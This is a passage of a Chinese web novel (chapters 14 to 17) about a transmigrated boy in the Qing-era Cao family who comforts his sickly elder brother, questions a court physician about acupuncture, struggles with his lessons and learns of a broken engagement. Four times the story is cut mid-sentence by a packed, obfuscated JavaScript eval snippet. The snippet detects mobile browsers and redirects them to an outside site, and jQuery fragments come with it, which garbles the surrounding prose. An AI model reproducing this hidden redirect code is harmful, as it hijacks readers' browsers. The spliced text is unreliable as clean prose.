至亲故去,不管过去多少年都叫人痛彻心扉,父亲不仅是他的亲人,还是他的良师和益友,更是他指路的明灯,想来六弟从小与姜姨娘相依为命,如今知晓此消息,伤心难受并不比他少。 曹颙心中酸涩,却还是强打起精神安慰起曹桑实来。 曹桑实哭了好一会,实在哭不动了,这才抹着眼泪道:“三哥,我饿了。” 想吃东西是好事,曹颙忙吩咐小厨房赶紧送些吃食过来。 因他方才已在萱瑞堂吃过饭,所以小厨房送来的都是曹桑实爱吃的菜,曹桑实年纪小,正是长身体的时候,爱吃的多是荤菜。 曹桑实吃了几筷子菜,却是长长叹了口气。 “六弟。”曹颙心里又是一紧,关切道,“怎么了?” “没什么,我本就因担心姨娘吃不下饭,如今只有我一个人吃饭,更是没什么胃口。”曹桑实想着此时姜姨娘应该平安到了庄子上,心里也是替她高兴的,却偏偏面上露出凄苦的神色来,实在是考验演技,“三哥,要不你也陪我吃点?” 曹颙只觉再陪着弟弟用饭倒没什么,但看着这满桌子的荤腥,他却不免有几分犹豫。 他还在守孝呢! 曹桑实那袖子擦了擦眼睛,顿时眼眶又红了起来。 “三哥,你是不是不想陪我吃饭?” “我早就听人说过,若是长久不吃荤腥,人身子受不住的。” “祖母说如今我到了东府,你我二人就是亲兄弟,三哥,呜呜,我已经没了姨娘,我不想再没有你呢!” 曹颙对上他那双小狗一样湿漉漉,亮闪闪的眼睛,心里一软,无奈拿起筷子道:“罢了,那我就陪你吃点吧。” 他想,若父亲泉下有知,知晓祖母与弟弟双双劝他,知晓他是不得已而为之,定不会怪他的。 曹桑实心里是愈发开心,一顿饭吃完,索性就赖在了逸云坞睡下。 对曹颙这个兄长,他多少也是有几分了解的,知道自己若一离开,曹颙定又会恢复成之前那苦行僧的生活。 所以,这段时间他就勉为其难住在逸云坞好了。 *** 到了翌日一早,姜姨娘没了的消息就传遍了东西两府。 众人皆是惊愕不已,有人唏嘘,有人感叹……大多数人直说姜姨娘真是命苦,好不容易独子过继到东府,日子有了盼头,却闹出这样的事情来。 常二夫人听说这消息后,却是神清气爽,心情大好的她早饭甚至多吃了半碗山药羊肉粥。 “哼,姜姨娘先前不是还在我跟前张狂吗?也不知她张狂个什么劲儿!” “她当年被我算计的团团转,如今就算有老夫人护着,却也是个短命的!” “可见啊,有些人生来就不是享福的命,一切早就是命中注定好的!” 桂妈妈见她放下调羹,忙接过丫鬟手中的涑口水递上来,低声道:“夫人,奴婢觉得这事儿有点不对劲……” “怎么不对劲?”常二夫人狐疑道。 “虽说从江宁前去鸡鸣寺的那条小路时有人坠下山崖,但咱们家的车夫行事哪里会如此冒进?”桂妈妈低声道,“先前老夫人选中了六爷过继到东府,奴婢就觉得奇怪,五六岁的孩子哪里养得熟?您说,这事儿会不会是老夫人指使的……” 常二夫人顿时吓了一跳:“不会的,老夫人的性子我是知道的,我虽不喜欢她,但以她的性子,定做不出这等事来!” 桂妈妈却是笑而不语。 常二夫人很快就会过意来:“是啊,你说得对。” “我相不相信这件事是老夫人做的不重要,重要的是曹桑实这小贱种会不会相信。” 说话间,她眉里眼里更是挡不住的笑意:“老夫人不是盼着曹桑实那小贱种能与曹颙相亲相爱吗?若那小贱种知道老夫人害死了他姨娘,只怕会对东府所有人恨之入骨的!” “桂妈妈,你下去安排下,将这事儿传到那小贱种耳朵里去。” 桂妈妈含笑应是。 远在书房的曹桑实是昏昏欲睡。 若他知道常二夫人有如此打算,怕是又会狠狠惊愕一番。 要说常二夫人傻不拉几的吧,还知道偷偷摸摸将此事告诉自己,不敢败坏孙老夫人的名声。 书房里的先生讲课讲的是摇头晃脑,曹桑实却是一个哈欠连一个哈欠。 一来是比起后世,时下的教育方式更多讲究“书读百遍其意自见”,先生也不教文章是什么意思,先背为敬。 二来则是他这脑袋瓜子真不是读书这块料。 以至于到了最后,那位陈姓先生略有些不满起来:“……我听说六爷有亲眷去世,今日便算了,明日上课定不能像今日一样魂不守舍,若不然,我可是要罚的。” 曹桑实:“……” 他真的很想说他也想像小说中的那些穿越者一样呀,脑袋瓜子嘎嘎好使,过目不忘。 可惜,他在念书方面真没什么天赋,陈先生教了一上午,书上那些内容认识他,他不认识那它们啊! 曹桑实不免有些垂头丧气。 他可是听说了,说是王先生比陈先生还要严厉! 因昨夜姜姨娘“下落不明”一事,孙老夫人与李大夫人都派人过来“劝慰”了曹桑实几句,叫曹桑实没想到的是,张乳母也来了。 当日过继一事敲定后,他就决定身边只带个玉树,像张乳母这些人一概留在兰畹。 他到底是喝乳母的奶长大的,旁人可以不见,张乳母却不能不见。 张乳母一进来就哭天喊地,眼泪婆娑的:“……真是可怜的孩子呀!自你刚出生,奴婢就在您身边伺候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143039|164572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今姜姨娘不在,这兰畹里更是安静的吓人,琼枝与玉树虽是好的,但她们不过十几岁,哪里照顾得好您?” 她话里话外皆是想来曹桑实身边伺候的意思。 “乳母,不必了。”曹桑实虽不喜张乳母左右逢源,但这人也的确没做过什么伤天害理的事,“三哥和我差不多大的时候,身边也没有乳娘伺候,难道我比三哥还要娇气吗?” 张乳母这才不好说什么,直说她是将曹桑实当成自己孩子一般。 最后,张乳母更是留下了些吃食这才离开。 曹桑实只觉不对劲,吩咐道:“玉树,我觉得乳母有些不对劲,你要是闲着没事就回去打听打听看看她最近和谁走得近。” 曹家在江宁甚至江南一带名声很好,对外拿钱修桥修路建学堂。 对内嘛,像张乳母这等奶大主子们的乳母,就算不用伺候人,也能被曹家养着,甚至连月钱都与从前一样。 谁能在每月收入一样的前提下放弃咸鱼躺? 玉树很快就下去了。 曹桑实按照陈先生的吩咐背了会说,可刚背没几句,就昏昏沉沉睡了过去。 他睡得可香啦,一直等到曹颙回来,在他耳边叫了好几句,这才迷迷糊糊睁开眼。 “奇怪,天还没黑,三哥怎么回来了?” “肯定是我在做梦!” 趴在桌上的曹桑实换了个姿势,打算再好好睡一场时,却又听到曹颙道:“这样冷的天,若是染上了风寒怎么办?” 下一刻,曹桑实就察觉到有衣裳轻轻盖在自己身上。 曹桑实这才惊觉这一切不是梦,揉着眼睛坐了起来:“三哥,你怎么这么早回来了!” 曹颙笑了笑,没有接话。 倒是他身后的随从平安道:“三爷担心您,所以想早点回来看看呢。” 曹桑实“哦”了一声。 昨晚曹颙就吩咐了管事刘忠带人去山下找人,可一直到今日傍晚,都没有消息传来,大家心里清楚,只怕已是凶多吉少。 他觉得怨不得众人都说曹颙好,他这三哥的确是不错。 曹颙见他这般模样,又劝道:“桑实,你也莫要担心,我已吩咐下去,活要见人死要见尸,不管怎么样都会找到姜姨娘的。” “三哥。”曹桑实抬起头,看向他道,“我饿了,我想吃饭。” “姨娘说过,小时候她继母为难她,她难受的时候,吃顿饱饭就没那么难受了。” “三哥,你陪我吃顿饭好不好?” 曹颙哪里有不答应的? 兄弟两人虽差了十几岁,但他是个好性子的,时不时给曹桑实碗里夹菜,一顿饭吃下来倒也舒服。 就连他在不知不觉中都觉得胃口好了不少。 一顿饭吃完,曹颙不由分说吩咐平安叫秦院判给曹桑实诊诊脉。 曹桑实只觉曹颙小题大做,原想拒绝,但对上他那双关切的眸子,却还是点点头:“好呀,多谢三哥。” 正好,他也有些事想朝秦院判打听打听! 15. 第 15 章 因曹颙的吩咐,秦院判很快就来了。 秦院判医术高明,略一诊脉就号出曹桑实脉象并无问题,根本没有曹颙担心的“伤心过度”的情况。 秦院判:“……” 得,这小崽子又在装病! 说实在的,秦院判走南闯北、阅人无数,还真是……第一次见到像曹桑实这样的孩子。 偏偏曹颙还在一旁追问,秦院判看了眼曹桑实,觉得他并不是个坏孩子,便道:“还请三爷先出去一趟,我来细细给六爷诊脉。” 曹颙不疑有他,当即就出去了。 待屋子里没人,曹桑实这才厚着脸皮笑嘻嘻道:“秦院判,我这脉象可还好?” “自是好得很,能吃能喝,比寻常孩子都要康健。”秦院判面上仍是一副冷冰冰的样子,但心里却对眼前这孩子讨厌不起来,“说吧,这次装病可是不想去念书?” 曹桑实却正色道:“秦院判,您这话说的可是冤枉我了。” “这次,可不是我闹着要请您过来的,是三哥的意思。” “我怕三哥担心,所以这才没有拒绝。” 说着,他又道:“不过您来的正好,我想与您打听打听三哥的病情,三哥真的活不长了?一点办法都没有?” 正当秦院判惊愕于孙老夫人怎会将此事告诉他,下一刻又听到他道:“连针灸也没办法改善吗?” “我先前就听人说过啦,说您有‘秦金针’的外号,您真的一点办法都没有吗?” 秦院判下意识道:“你怎么知道针灸对心悸之症有用?” 曹桑实左顾言他:“我忘了听谁说过啦。” 秦院判:“……” 他知道这小崽子脸皮厚且滑不溜秋,今日将他诓来,若他不说出个子丑寅卯来,这小崽子定不会罢休的。 “没错,针灸的确对心悸之症有用,但却是治标不治本你,只能叫三爷多活上几年,且每日都要施针……” 曹桑实很快秦院判的话中抓到了重点:“您的意思是,若有人能替三哥施针,就能叫三哥多活几年?那到底是多活几年?” 他见秦院判尚未接话,自是明白秦院判的小心思,直道:“您放心,您只管如实告诉我,我会自己想想办法,不会叫祖母将您留在江宁的。” “人心都是肉做的,纵然您先前不愿替姨娘治病,却对祖母的病极其上心,我也是打从心底里感激您且并未觉得您的做法不对。” “人往高处走,水往低处流,您可是担心若祖母知道此事,会禀于皇上,皇上会让您一直留在江宁?” 四十岁出头的太医院院判是何等难得,更别说秦院判是从最底层一路爬上去的,他想,若换成他,他大概也会犹豫要不要在孙老夫人跟前提起此事? 秦院判微微叹了口气,道:“你说的没错,我的确是有私心。” “至于针灸医治心悸之症,只治标不治本,以三爷的身子来看,只怕也拖不了几年。” 曹桑实听到肯定的答复,悬着的一颗心放下来不少,直道:“事在人为,若三哥肯好好保养身子,兴许还能多拖十年半载?” “秦院判,如今您贵为太医院院判,曹家肯定是请不动您的。” “敢问您这一手针灸的本事是跟着谁学的?” 他想,就算秦院判的师傅医术及不上秦院判高明,想来也差不了多少。 反正曹家现在已欠朝廷这么多银子,虱子多了不怕痒,再拿出一大笔银子来将秦院判师傅请到曹家应该也不叫事儿。 秦院判也明白了他的意图,沉吟道:“教我针灸的师傅已去八年前驾鹤西去。” 曹桑实面上难掩失望之色。 谁知下一刻他却又听到秦院判道:“不过我还有个师兄,医术虽及不上我,但针灸却比我厉害许多。” 曹桑实:“……” 他很想说:秦院判,您这样话说一半不说完,很容易挨揍的知不知道? 但他看在秦院判那未曾谋面的师兄份上,顿时一张小脸上满是笑容:“秦院判,这世上竟还有人比您还厉害?” “那您师兄今年多大年纪?家住在哪里?按他的年纪,如今大概已有孙子了吧?他孙子喜欢什么,我这就差人送他送些礼物过去……” 秦院判却冷哼一声:“你这小娃娃,变脸简直比翻书还快!” 顿了顿,他又道:“只是你也别高兴的太早,我那师兄性子孤僻,很不好相处。” “说来也巧,他就住在铜山。” “但以他的性子,应该不会出手为三爷治病的。” 铜山? 这可真是巧了,曹桑实记得清楚,孙老夫人安置姜姨娘的那院子就在铜山。 铜山是个小镇,距离江宁尚不到一百里,这小镇人口虽不多,但却颇为富庶。 曹桑实仔细询问,这才从秦院判嘴里得知他这师兄姓谢,此姓在铜山镇可是大姓,早在明朝时,铜山镇可是被称为谢村,一直等到前些年,因此地距铜山很近,所以才被改名为铜山镇。 谢师兄是家中长孙,从小颇受看重,家人对他的期望是他能够入朝为官,光宗耀祖。 谁知在谢师兄十八岁那年,他爱上了一青楼女子。 为了这青楼女子,他不惜与家族、师门断绝关系,拿出全部身家替那染上重病的青楼女子赎身,但就算他医术高超,那青楼女子没几个月却去世了。 说到最后,秦院判不免有几分唏嘘:“……若论天资,师兄天资远胜于我,但他却因出生大族,从小到大万物皆唾手可得,所以每日跟着师傅学医时并不尽心。” “为医者,最令人伤心的是救不回自己心爱之人。” “师兄带着那女子的骨灰回到了家乡,将那女子的骨灰一分为二,一半整日携带,一半葬于他母亲墓旁。” “从那之后,他就日日守在墓旁,苦读诗书,我每年会差人给他送些银子,听人说,他好像已经疯了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143040|164572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 人已经疯了? 秦院判,你知不知道你这样子说话是真的会挨揍的! 曹桑实一张小胖脸绷得紧紧的,低声道:“可既然谢伯父疯了,那该怎么替三哥医治施针?” 秦院判认真道:“人疯了,医术却不见得丢。” “你别看如今人人尊称我一声‘院判大人’,但当年跟着师傅学医时,师兄蒙眼施针,我都不一定能赢过他。” 曹桑实跃跃欲试,道:“那您都到江宁来了,要不我陪您一起去看看您师兄吧?” “不必了。”秦院判是多聪明的人呐,一眼就看出他的小九九,“我和师兄互相看对方不顺眼了半辈子,还是不见面了吧。” 他这话说完,似担心曹桑实又像从前一样对自己纠缠不休,背着药箱就往外走:“既然你并无大碍,我就先走了。” 曹桑实是拽都拽不住这人。 秦院判前脚刚走,后脚曹颙就走了进来。 “六弟,方才我问过秦院判,说你并无大碍。” “你可还难受?” “想吃什么,我这就吩咐小厨房去做。” 曹桑实可不会与他客气,像报菜名似的带了一大串。 破戒这种事嘛,有一就有二,有二就有后面千千万万,曹颙如今倒也不算排斥吃荤腥。 他见曹桑实吃得香甜,胃口大开,也跟着吃了不少。 一顿饭吃下来,曹桑实满脑子想的都是该怎么说服已成了疯子的谢师兄,甚至接下来几日,他脑袋里想的都是这件事。 如今因王先生尚未来江宁,便只有陈先生一人负责他的功课。 授课几日下来,陈先生发现……这孩子真不是读书这块料。 偏偏孙老夫人并不是宠溺孙辈的人,日日都会问问曹桑实的功课如何。 陈先生是靠着教书为生,还是在高门大户教书为生的,说话一向颇为婉转,先前几日还替曹桑实找借口,说定是曹桑实因姨娘下落不明,所以难以全神贯注。 但今日,他却是实在忍不住了。 “老夫人,您别嫌老夫说话难听。” “六爷真不是读书那块料!” “天资聪明者,一篇文章看下来是过目不忘,天资平平者,一篇文章读上五六遍就能背下来,但六爷……” 他深吸一口气,摇摇头道:“一篇文章,老夫要教上十几遍,他才能背下来。” “可即便他今日背了下来,明日一早他又忘得一干二净。” “怎会如此?”孙老夫人一直觉得曹桑实是个很聪明的孩子,因他先前那些行为处事,更是深信不疑,如今试探道,“会不会是这孩子在藏拙?” 陈先生摇摇头,道:“以老夫教书多年经验老看,应该不会。” 他真的很想说一句,这曹桑实哪里会藏拙?是真拙啊! 他活到这般年纪,还真的很少见这样蠢笨的孩子!真是在读书方面……一点天赋都没有啊! 16. 第 16 章 孙老夫人沉吟着没有说话。 一时间,陈先生忍不住怀疑是不是她老人家接受不了这个事实。 不论是故去老太爷曹玺也好,还是故去的大老爷和二老爷也好,甚至就连曹家的几个孙辈,也没有一个不擅长读书的。 她老人家千挑万选选出个棒槌来,心里能好受吗? 以至于到了最后,孙老夫人只摆摆手说了一句“好,知道了”。 陈先生惴惴不安下去,觉得自己这一年三百两银子的束脩怕是拿不久了。 就连孙嬷嬷都忍不住道:“奴婢原先还以为六爷是个聪明的,怎么会这样子?老夫人,这下该怎么办?” “还能怎么办?这桑实都已过继到东府,已是板上钉钉一事,难道还能反悔将人送回去不成?”孙老夫人却并不怎么担心的样子,含笑道,“有道是东边不亮西边亮,桑实这孩子不擅读书,兴许在别的方面能有所建树。” 她老人家接过孙嬷嬷递上来的一盅清茶,抿了两口,方道:“读书人向来执拗,颙儿有些事上与他老子一样。” “且不说别的,就说桑实能劝动颙儿开始吃荤腥,就足够叫我刮目相看。” 不过,她老人家却是怎么都想不明白——曹桑实那样聪明的一个好孩子,怎么就不擅念书呢? 其实吧,这个问题,曹桑实也没想明白。 前世他觉得自己念书不算顶厉害,但从小到大每次考试都保持着班级前三,念书可以说是不费吹灰之力。 但这具身体……一看书就犯困,一上课就神游,好不容易背会一篇文章,睡个觉就能忘。 若是如此也就算了,曹桑实能归咎于他这新脑子记性不行。 但偏偏,他这新脑子对八卦是非过耳不忘,他直到现在仍对三四年前张乳母说的家中堂妹与姐夫苟且一事念念不忘,甚至还记得那姐夫名叫陈大壮,屁股上有颗大黑痣。 曹桑实:“……” 唉! 真叫人绝望啊! 正坐在书桌前看书的他打了个哈欠,决心放弃无谓的挣扎,先去睡一觉。 谁知他刚上床,就听说张乳母又来了。 这几日,张乳母是一日未曾停歇,不管刮风下雨还是晴空万里,都会拎着东西过来,美其名曰“放心不下他”。 曹桑实大大打了个哈欠,道:“反正闲着也是闲着,那就叫乳母进来吧。” 张乳母今日带了一碗杏仁豆腐,一道酥会鸭脯,一进门就笑眯眯道:“六爷,今儿奴婢给您亲手坐了一碗杏仁豆腐,奴婢记得您小时候最爱吃呢。” 杏仁豆腐,并非菜,而是一道甜品,做法也不难,用杏仁磨成粉加入牛乳制成。 三两岁时候的曹桑实很喜欢,但张乳母却很少做,原因嘛,自然简单,懒得费这个神。 “乳母客气了。”曹桑实见那碗冒着热气的杏仁豆腐已被递到了自己跟前,只好尝了一口,却觉得甜的发腻,“如今我住在三哥的逸云坞,什么好吃好喝的都有,乳母就不必费心了。” “奴婢省的。”张乳母那故作慈爱的眼神落在他面上,低声道,“逸云坞自是什么好东西都不缺,但人在屋檐下不得不低头,奴婢实在是担心……” 曹桑实:“???” 说的好像他与姜姨娘从前在兰畹时,没低头似的! 张乳母瞧他微微怔愣,以为自己的话已经奏效,继而又道:“况且奴婢这些日子听到了些许关于姜姨娘之死的风言风语,不知道要不要说给您听。” 曹桑实索性道:“既然乳母不知道该不该说,那就不好说好了。” 张乳母一愣。 旁人不知道,但她却是知道曹桑实与姜姨娘感情有多好的,按理说曹桑实应该追问啊!怎么会什么反应都没有? 曹桑实大概也猜到她会拿姜姨娘之死做文章,挑拨他与祖母等人之间的关系,索性开门见山道:“乳母既是端着曹家的碗,吃着曹家的饭,就该知道什么话该说什么话不该说。” “要是有些话传到祖母耳朵里去了,以祖母的性子,万万留不得乳母。” 他看向张乳母那被吓得苍白的脸,笑了笑道:“乳母也别害怕,我也就是看在你奶我一场的份上提醒你几句而已。” “想必乳母也不会这样傻吧?” 张乳母这些日子之所以如此殷勤,是因收了常二夫人二十两银子的,被黄妈妈哄了几句,想着不过几句话的事,也就稀里糊涂答应下来。 如今对上曹桑实那双澄澈的大眼睛,吓得冷汗都冒了出来,嗫嚅道:“是,是,您说的是!” 这下,她也不要人请,东西一丢,撒丫子就跑了。 被这样闹上一场,曹桑实却是睡意全无,索性前去萱瑞堂陪孙老夫人说话了。 他是知道陈先生每日都来萱瑞堂一事的,他原以为孙老夫人多少会问上几句关于他功课 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146140|164572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的事,谁知一连几天过去,孙老夫人却是避而不谈。 这下,就连曹桑实都有些坐不住,好奇道:“祖母,我先前就听人说过,您一向对三哥他们的功课很上心?为何……您从未问过我的功课?” 他深知伸手不打笑脸人的道理,胖嘟嘟的小脸上满是笑容:“可是……陈先生说过什么?” “难道你觉得陈先生在我跟前说过什么?”孙老夫人故意打趣道。 自有了这孙儿时常陪在她身边,倒让她生平第一次有子孙承欢膝下的感觉。 曹桑实认真道:“我猜,陈先生应该说了些什么吧。” “比如,陈先生说我蠢笨呀。” “比如,陈先生说我不是读书这块料呀!” “又比如,陈先生说您将我过继到东府,看走了眼?” 孙老夫人摸了摸他那毛茸茸的小脑袋,笑道:“陈先生倒并未说这些,况且在我看来,你根本不笨。” “寸有所长尺有所短,每个人都有自己的长处与短处,你也是一样,你说是不是?” 曹桑实忍不住笑道:“祖母,您说的极是。” 他觉得穿越至今,日子还算是不错的,起码祖母和三哥都是很不错的人。 他想了又想,便将当日与秦院判之间的话道了出来,最后更道:“……我觉得可以去找找看这位谢大夫,连秦院判都这样说了,可见那位谢大夫是真的很厉害。” 孙老夫人却微微皱眉。 人不为己天诛地灭,她并不怪秦院判先前的刻意隐瞒,她只是担心希望越大失望越大:“这位谢大夫既能得秦院判夸赞,想必定有过人之处,只是他已疯了,哪里敢请他来给颙儿施针?” “更不必说颙儿这病症最忌讳劳心伤神,忧思忧虑,若叫他察觉自己身患不治之症,怕是不好……” 只怕三哥已经知道了! 曹桑实心中暗自腹诽,却怕孙老夫人担心,并未多言,直道:“祖母,凡事不试一试怎么知道?” “不说叫三哥多活十年八年的,哪怕多活一两年也是好的。” 孙嬷嬷也是颇为赞同此说法,劝慰孙老夫人几句后,更是忿忿不平道:“……咱们就要叫那董鄂总督好好瞧瞧,三爷还能活上许多年呢!想当初皇上下江南时,他虽为两江总督,却在咱们家大老爷跟前阿谀拍马的,舔着脸非要定下与咱们家的亲事,如今大老爷去世尚未一年,竟翻脸不认人!” 17. 第 17 章 听孙嬷嬷说来,曹桑实这才知道到底是怎么一回事。 如今的两江总督是董鄂·噶礼,乃开国五大臣何和礼的孙子,从吏部主事做起,仕途平顺,在两江总督的位置上已稳坐了多年。 按理说两江总督乃一品官职,远比曹寅那五品织造的官职高上许多,但董鄂·噶礼之所以能一路高升,与他擅长揣摩圣意不无关系。 康熙四十六年,皇上最后一次下江南,依旧住在了曹家。 董鄂·噶礼当众将曹颙夸成了一朵花,更是厚着脸皮要将女儿嫁给曹颙。 曹寅几次推脱未果,派人去打听了他那女儿德行如何,知晓他那女儿德容仪功皆算上乘,便同意了这门亲事。 但就在前几日,董鄂·噶礼却借口女儿身子不好,要退了这门亲事。 自古以来人往低处走,若董鄂·噶礼要退亲,孙老夫人也觉得无可厚非,偏偏董鄂·噶礼还在外头大放厥词,直道:“那曹东亭就算与皇上好的能穿同一条裤子又如何?人一死,屁都没了!我看他那儿子也是病殃殃的,像活不了几天的样子,可别把我女儿也搭进去呢!” 这下,就连曹桑实这个半路弟弟都有些生气起来。 “这个董鄂·噶礼也是当总督的人,说话为何这样不客气?” “祖母,您也别生气!若为这样的人气坏了身子,那才是划不来!” 孙老夫人笑了笑,道:“我都活了大半辈子,哪里会因为几句话气坏身子?祸从口出,这董鄂·噶礼仗着祖上立过大功,身居高位,想必没少说缺德话,以后定有他好受的。” “更何况,从前你父亲在世时也曾与我说起过他,他虽为官勤敏,但贪婪异常,对他母亲都不孝顺,这样的人只会得意一时,不会得意一世的。” 她老人家虽不至于因董鄂·噶礼的话不痛快,却多少会有些不舒服,直道:“桑实,既然你替颙儿着想,那就试一试吧。” “兴许真的老天开眼,叫颙儿多活几年,是天大的好事!” 曹桑实正色应是。 他们祖孙俩很快就商量好了,到了二月底时,秦院判就要离开曹家,将以曹桑实的名义去请谢大夫来曹家坐诊,正好他也能趁此机会去见见姜姨娘。 而曹桑实已从孙老夫人嘴里得知姜姨娘一切都好,更听见孙老夫人道:“……我对她并没有太大印象,除了觉得她生的美,也就对她那一手绣活印象很深。” “不仅她绣活做的好,花样子也描的好,东西两府的丫鬟婆子都喜欢找她讨花样子。” “我记得去年我过寿时蔷薇绣的抹额,那花样子就是姜姨娘画的。” “如今她去了庄子上,也能做些自己喜欢的事。” 曹桑实笑道:“您说的是,我记得姨娘说过,她自小就手巧,小时候想着长大后能开个卖绣品的铺子呢。” 祖孙两人说说笑笑,曹颙就回来了。 他们兄弟两人留在了萱瑞堂吃饭,孙老夫人见曹颙吃的香甜,几乎吃了半条鸳鸯松鼠鱼,心里是愈发高兴。 天擦黑时,曹桑实便跟在曹颙身后道:“祖母,那我们先回去啦。” “我明日放学后再来看您。” 说着,他就跟在曹颙身后屁颠屁颠走了。 天已黑透,天上朦朦胧胧挂着一弯月,有凉风轻柔拂过,仍带着些许寒气。 曹桑实看着曹颙的背影,只觉得他这兄长还是过于瘦弱了些,得像喂猪似的喂三哥才行。 他记得孙老夫人说过,三哥喜欢吃酸甜口,今日晚间那道鸳鸯松鼠鱼三哥很喜欢,以后就叫小厨房多做鱼香茄茸、糖醋鱼仁、酸辣烩肚丝这等菜好了…… 他正想得出神,谁知前头的曹颙却突然停下脚步。 这下可好,他的脑门撞上了曹颙的后背,兄弟两人齐齐“哎呦”叫唤了一声。 曹桑实揉着脑门道:“三哥,你怎么停下来也不说一声?” “不过是想到了衙门里的公事而已。”曹颙关切看向他,道,“六弟,你没事吧?” 曹颙见他摇头,也颇为好奇道:“六弟,你想什么呢?想的这样出神!” 曹桑实自然不会说他在想方设法喂猪,哦,不,喂哥,直道:“我在想今日祖母说的一件事,三哥,总督大人那边退了亲事,你为何没与我说一声?” “原来你在想这件事!”曹颙仍是一副云淡风轻的样子,面上带着些许与年纪不相符的沉稳,“董鄂大人是元宵节后说起的这件事,那时候你正因姜姨娘一事伤心欲绝,我哪里好与你说此事?” 他低头看向曹桑实,扯出笑来:“更何况,我为兄,你为弟,自古以来都是兄长照顾弟弟,哪里有将我的烦心事说给你听的道理?” 得,又是“苦行僧式”的说辞。 曹桑实心底长叹了口气,面上振振有词道:“三哥,我觉得你说的不对。” “想必正是父亲和二叔有这样的想法,所以才酿成了苦果!凭什么当哥哥的就要让着弟弟,处处替弟弟着想?自己的东西为什么要让给别人!” “兄友弟恭,才能兄弟和睦,而不是一味要一方退让呀!” “三哥,你若遇上什么伤心事,可以说给我听,我就算不能帮你出出主意,却也能听你发发牢骚。” 说着,他冲曹颙咧嘴一笑,露出两个小梨涡来:“你将烦心事说出来后,心里就能好受多了。” 曹颙一愣,继而低声道:“从前我遇上了什么烦心事,都是与父亲说的……” 但下一刻,他就重重点头称好,牵着曹桑实的手朝逸云坞的方向走去:“其实退了与董鄂格格的亲事,倒也是好事,我不仅没有伤心,反倒是还有几分庆幸。” “当年这门亲事本就是父亲碍于董鄂总督的面子,不得不应下的,当初因为此事,母亲难得与父亲红了脸……” 毕竟他的父亲虽得皇上信任,但曹家根基尚浅,根本及不上董鄂一族。 强龙压不过地头蛇,两江总督的身份……那在江南就是仅次于皇上的存在,他父亲也不愿因此等事惊动了皇上。 正因曹家也对这门亲事不满意,所以他一直拖到二十岁都没有成亲。 他细细碎碎说着话,不是以兄长的身份,而是以朋友的身份:“六弟,不瞒你说,我这些日子每每想到家中的亏空就食不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186574|164572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下咽,夜不能寐,今年织造府的账册我也看过,简直是不堪入目。” 辛辛苦苦一年白干了不说,兴许银子还会越欠越多,搁谁谁不难受? 曹桑实这几日也在想着如何尽早还清朝廷的亏空,直道:“三哥,你也别着急,虱子多了不怕痒,有些事情你着急也没用。” “我呢,也帮你想想办法,你别这样看着我,兴许真叫我瞎猫碰上死耗子了呢?” …… 实际上曹桑实还真想出主意来,只是这办法不过初有雏形。 他还得好好斟酌斟酌。 更何况,这事儿还得请姜姨娘帮帮忙,他还没问过姜姨娘愿不愿意呢! 等曹桑实兄弟俩走到逸云坞内,即将分别时,曹桑实认真道:“对了,三哥,先前皇上赏下来的那三万两银子,你打算用在何处?” 曹颙虽不知他好端端提起这个问题做什么,但还是道:“那三万两银子已放出去了。” 哦,放印子钱去了! 印子钱,也就是后世的高.利.贷,但凡是有权有势的人家都会拿闲钱生钱,甚至乾隆年间,内务府都拿出数百万两银子的本金房贷。 曹桑实觉得此乃生财法子之一,但他却道:“不,三哥,我若是你,就会将三万两银子还了亏空。” “这是为何?”曹颙很是好奇,“钱生钱,不是才有更多的钱吗?” 曹桑实道:“话虽如此没错,但三哥你想啊,三万两银子而已,又能获利多少?” “如今父亲去世,像董鄂·噶礼这样盯着我们家的人不在少数,纵有皇上护着,但我们曹家积极还钱的态度也得摆出来。” “挨打要立正,还钱要积极,要不然,别人可是会说闲话的。” 曹颙陷入了沉思。 他觉得曹桑实这话没说错,如今以董鄂·噶礼为首的人私下是议论纷纷,说什么的都有。 他颔首道:“你这话有道理,没想到你小小年纪就能有此见地。” 跟在他身后的平安忍不住接话道:“三爷,后日董鄂大人设宴,不如您带着六爷一起去吧?” 